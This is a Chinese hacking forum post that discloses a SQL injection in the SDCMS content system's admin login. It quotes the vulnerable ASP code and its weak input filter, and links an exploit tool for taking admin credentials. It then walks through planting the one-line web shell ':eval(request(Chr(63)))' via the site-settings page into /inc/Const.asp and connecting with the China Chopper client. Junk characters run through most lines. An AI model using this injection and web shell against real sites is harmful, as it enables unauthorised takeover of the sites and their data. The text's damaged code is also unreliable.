作者:T00LS 鬼哥- o) h5 M6 }" D9 {/ \
漏洞文件:后台目录/index.asp3 q6 b& D+ j9 h1 |8 j1 @2 t
0 a4 s7 `6 O& T9 r7 p, c8 A
Sub Check
" b$ E V G. f" I. x6 Q Dim username,password,code,getcode,Rs s6 K7 M- W4 q7 V8 E
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
* H0 a! r; I3 g username=FilterText(Trim(Request.Form("username")),1)
, A, r# y' z: y$ M password=FilterText(Trim(Request.Form("password")),1)+ r* X _9 T4 d' j; K% j
code=Trim(Request.Form("yzm"))
9 j0 S" l$ J5 B2 s+ n3 Z" X getcode=Session("SDCMSCode")
8 `* {- O8 a# e# o5 o! \8 o IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died+ h$ z" @4 `& Q; V/ P
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
6 W0 m' P N. c3 A7 C5 H3 d IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
/ R; G+ K( G9 W- s9 M# Z IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied; d/ H! K4 e, P) E
IF username="" or password="" Then
6 B- p0 _' @- }7 v8 u. v/ A/ I* [ Echo "用户名或密码不能为空" ied' K. c6 \% v E4 X4 t2 [! x
Else
9 g, D# E5 h: o, ] z9 E Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'"): u( q! b! W; _1 I
IF Rs.Eof Then" P& `. O8 V8 A+ t
AddLog username,GetIp,"登录失败",1
- `* v6 F$ y# B; F" J9 O' n) S Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"8 f7 U7 F. j6 g$ o5 h/ E
Else4 {6 {3 D1 j9 \) `! v- Z" V# c. [
Add_Cookies "sdcms_id",Rs(0)
" Y3 E& P$ B2 g Add_Cookies "sdcms_name",username) C& h7 w) K) Q" A, Z/ V# v! `, I$ s
Add_Cookies "sdcms_pwd",Rs(2)+ s8 f8 y! n' y
Add_Cookies "sdcms_admin",Rs(3)5 H& T, @1 Y( K9 {- K
Add_Cookies "sdcms_alllever",Rs(4)' U% k( F% [! r2 r6 P1 G- W8 i
Add_Cookies "sdcms_infolever",Rs(5)
3 @ f9 E; P9 o, ?/ K) m- h L Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
% @' b5 h7 R5 y4 k AddLog username,GetIp,"登录成功",1( o1 h8 E Z& W* M+ p
'自动删除30天前的Log记录3 }7 {5 }; ?1 m9 V# s) v& _
IF Sdcms_DataType Then7 A* ?5 i& w3 ]% R4 d3 P# p
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")( B5 b1 ~- Q: o( Y3 ~, M9 a3 W
Else( b: M/ U8 h1 I( J1 U
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
( \7 z" h# W6 z' F4 P End IF
0 C, S6 |( x8 o u- L Go("sdcms_index.asp")
3 v: l9 P" Q3 P2 Y End IF3 M: j' w# z+ |. c+ d
Rs.Close; k. U: }8 ^% d0 ~2 [3 O, e7 Z2 c
Set Rs=Nothing
5 K$ d% y9 \3 n- T. p9 }- ` End IF3 H" w/ n1 ~% N* D6 J7 V
End Sub% x# ]) a6 ?7 r
Z) m4 ]% W, @# a
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
7 i# }3 d3 }( m. r S- { b9 `
- E* I2 M# q9 B5 }Function FilterText(ByVal t0,ByVal t1). X* g- u a7 b
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
, q* ?( ^5 L. R( f! [ t0=Trim(t0)
. |* \; K! ^5 Z. g Select Case t1/ ?! a) e) O" u4 p+ v4 p2 V; \- s
Case "1"
# p5 R5 V( P5 j) z t0=Replace(t0,Chr(32),"")% l% M( h+ ^4 V2 d5 n: m2 x
t0=Replace(t0,Chr(13),"")
* M2 d; o/ C1 B2 U# u3 H" d8 z t0=Replace(t0,Chr(10)&Chr(10),"")8 ?5 H4 x. Z! F) Y4 {! w {
t0=Replace(t0,Chr(10),"")2 u7 c8 H. J' Y. B% @
Case "2"
8 F! ~, K' G; l' S: Y t0=Replace(t0,Chr(8),"")'回格* K3 [; J, p' z4 z4 v( x
t0=Replace(t0,Chr(9),"")'tab(水平制表符)7 Y) _ W" u& [8 c8 e N: l
t0=Replace(t0,Chr(10),"")'换行& q' j/ g5 @& L4 Z
t0=Replace(t0,Chr(11),"")'tab(垂直制表符): i; ~( U+ q& B& l, {' `
t0=Replace(t0,Chr(12),"")'换页
5 c; Q' f- P$ @5 V% J t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
; x1 j6 j) J1 Y t0=Replace(t0,Chr(22),"")
- G7 X) e+ u) P0 l" w t0=Replace(t0,Chr(32),"")'空格 SPACE8 v' q1 D& f6 d/ }2 E
t0=Replace(t0,Chr(33),"")'!& }& T7 D2 z: J* Y% X3 E
t0=Replace(t0,Chr(34),"")'"4 y. v' B8 |! g3 k
t0=Replace(t0,Chr(35),"")'#
1 `( @" \4 v/ ^6 o7 f t0=Replace(t0,Chr(36),"")'$" `( e9 ]5 `; T) b3 Z
t0=Replace(t0,Chr(37),"")'%
6 B- k* N6 s- W0 M t0=Replace(t0,Chr(38),"")'&( w" I3 X m% a7 M
t0=Replace(t0,Chr(39),"")'': r2 V. q& k0 ?/ z
t0=Replace(t0,Chr(40),"")'(
( W$ \0 x# }, j0 K& ]$ H( T8 t3 G' j t0=Replace(t0,Chr(41),"")')5 q& x6 z: I7 P/ d6 @) g; |: g
t0=Replace(t0,Chr(42),"")'*
# {$ k& P9 e" Z3 @ t0=Replace(t0,Chr(43),"")'+: \' K" W+ e5 g7 Q
t0=Replace(t0,Chr(44),"")',
4 F$ H$ D, }4 P: H& h, k7 p t0=Replace(t0,Chr(45),"")'-
; @) R* a% e& ~- q t0=Replace(t0,Chr(46),"")'." k8 o; _' d# P" U, p
t0=Replace(t0,Chr(47),"")'/
6 u/ U w! R. l( e) @1 @6 M( t t0=Replace(t0,Chr(58),"")':
. u* D0 W0 q8 s) C t0=Replace(t0,Chr(59),"")';
( D3 |! ]0 U+ I+ f4 V7 a- h t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>* [% M4 c* v0 ?* B
t0=Replace(t0,Chr(63),"")'?
; |( J# |. a/ G. { t0=Replace(t0,Chr(64),"")'@! W0 |% Q# K8 P" G! @5 ]* [
t0=Replace(t0,Chr(91),"")'\0 i7 [( s$ N! t# p! P
t0=Replace(t0,Chr(92),"")'\
8 M7 H: M Y. `$ S t0=Replace(t0,Chr(93),"")']# a5 d6 G% Z! [* r7 @' F! H; G
t0=Replace(t0,Chr(94),"")'^
! b1 ~) f- {' L u; G t0=Replace(t0,Chr(95),"")'_! j% ^* P2 E5 X* s, Y
t0=Replace(t0,Chr(96),"")'`
7 t D* [3 v- D0 r5 D3 E- q t0=Replace(t0,Chr(123),"")'{) ]: w5 a+ V* Z$ V4 ~; {; v
t0=Replace(t0,Chr(124),"")'|
- ?+ @' R/ W+ K t0=Replace(t0,Chr(125),"")'}
2 A$ Y2 D# ~* b- K t0=Replace(t0,Chr(126),"")'~# {7 s, y( |$ n# I
Case Else
& U: @( p6 M5 l: G6 R/ E2 L t0=Replace(t0, "&", "&")! B6 x7 T+ I, s; z5 R8 K3 Q
t0=Replace(t0, "'", "'")& L3 }( n3 y5 O( }
t0=Replace(t0, """", """)
! W( |5 S9 L% }% }- @2 Y0 p t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
* _% l+ d5 ~8 T8 n% x5 C8 { End Select7 [0 s2 f0 {( a" ?
IF Instr(Lcase(t0),"expression")>0 Then
9 }9 o" T+ `* u6 }& v( g& d7 ^7 x* X t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
4 _6 U0 B* I4 s: Y End If0 L1 i7 w; | u5 `# p+ P
FilterText=t0
7 C: u9 |" i' Y) P1 _ @End Function1 r$ N ?; U8 r* k
0 { I; S+ [# `看到没。直接参数是1 只过滤
, t9 R6 H( K0 i% R# C- W" p t0=Replace(t0,Chr(32)," ")# J& h L, N1 N/ K' p2 s( M
t0=Replace(t0,Chr(13),"")
1 X- S! u- n% D; x& O t0=Replace(t0,Chr(10)&Chr(10),"
- m. R. v6 p( Y2 G6 `6 F+ I8 w")
9 K" h# S$ C+ p! S2 b t0=Replace(t0,Chr(10),"
, y9 t: P: a8 w")
7 Z1 X$ S$ S# Q. n' u' D漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!/ B9 u* |$ Q. W! K J
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
: k x- g6 Z& I; G1 g
" m- n& @. m) e; U' P F测试:
5 j7 e2 y' }: N! ?. c' F, [
+ W+ x% X( n' y0 f f3 W
+ y* X1 I: @) x: ~+ K现在输入工具上验证码,然后点OK
" Y5 u2 I* R+ \7 S1 Y
# Y. [" J* }6 k; n$ J, Y, [/ e9 m) N9 l" s' c2 o- T; i5 Y) i. ]
看到我们直接进入后台管理界面了,呵呵!
+ y3 b" j9 W+ {3 K6 s: {: h$ }3 ?3 {7 Y2 S
/ n4 y+ Z+ x4 M/ D- ~- o
- L+ U0 q" \- X: z" i4 P% J; u0 l
这样直接进入后台了。。。。
( m6 T* l$ K& C' U. ]! }& K* c# C" l \) y: O
3 H% J" T' O- ]( o" d8 N
5 Z) }' v! G9 b5 ^SDCMS提权:
) p2 D% |$ o& I/ j- Q4 B: g, ?& P
5 ^8 r1 Z1 c5 C4 q M, i% k$ U8 Y( e方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
8 k8 `, O& Z$ _4 |. r% P2 E _" G1 O# u7 J/ m9 v7 Y
# q5 Z2 f: X( l; C S9 Z2 v
& }4 c) e! O9 F
OK,现在用菜刀连接下!
* \, F @, v6 }1 K& e9 z+ |9 K0 Q9 i, X% r# W/ _
# m& Z4 ^" W3 l: ~, a9 M* t0 D5 C+ ?9 D' I. j
2 ]& D+ i; C j8 i _5 M; E- _, O9 l7 Q: E! a8 J
|